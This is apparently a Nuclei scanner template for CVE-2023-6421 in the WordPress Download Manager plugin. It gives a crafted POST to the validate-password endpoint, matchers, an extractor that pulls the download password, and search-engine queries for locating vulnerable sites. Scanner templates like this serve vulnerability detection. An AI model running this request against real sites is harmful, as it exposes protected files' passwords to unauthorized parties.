id: CVE-2023-6421 info: name: WordPress Download Manager - File Password Exposure author: ritikchaddha severity: medium description: | The WordPress Download Manager plugin contains a vulnerability that allows attackers to obtain passwords for password-protected downloads by sending a specially crafted request to the validate-password API endpoint. impact: | Unauthenticated attackers can obtain passwords for password-protected downloads by sending crafted requests to the validate-password API endpoint. remediation: | Update the WordPress Download Manager plugin to the latest version. reference: - https://wpscan.com/vulnerability/244c7c00-fc8d-4a73-bbe0-7865c621d410/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2023-6421 cwe-id: CWE-200 epss-score: 0.82358 epss-percentile: 0.99243 metadata: verified: true max-request: 1 fofa-query: body="wp-content/plugins/download-manager/" google-query: inurl:"/wp-content/plugins/download-manager/" shodan-query: html:"wp-content/plugins/download-manager/" tags: cve,cve2023,wp,wordpress,wp-plugin,exposure,download-manager,vuln http: - raw: - | POST /index.php?rest_route=/wpdm/validate-password HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded __wpdm_ID={{id}}&dataType=json&execute=wpdm_getlink&action=wpdm_ajax_call&password=123322 # pass the password protected file id in the 'id' parameter `-V id=123` matchers-condition: and matchers: - type: word part: body words: - '"success"' - 'op":"' - 'Wrong Password' condition: and - type: word part: header words: - "application/json" - type: status status: - 200 extractors: - type: json name: password json: - ".op" # digest: 4b0a00483046022100a654854158fdaeb288b1d201aad792dfba81a31172a095d86fee225d8e8f10ab0221008986eddc720608480bc0e149b2e7dac0e7d54b7bb9d2c1806b39bf87dd0383a4:922c64590222798bb761d5b6d8e72950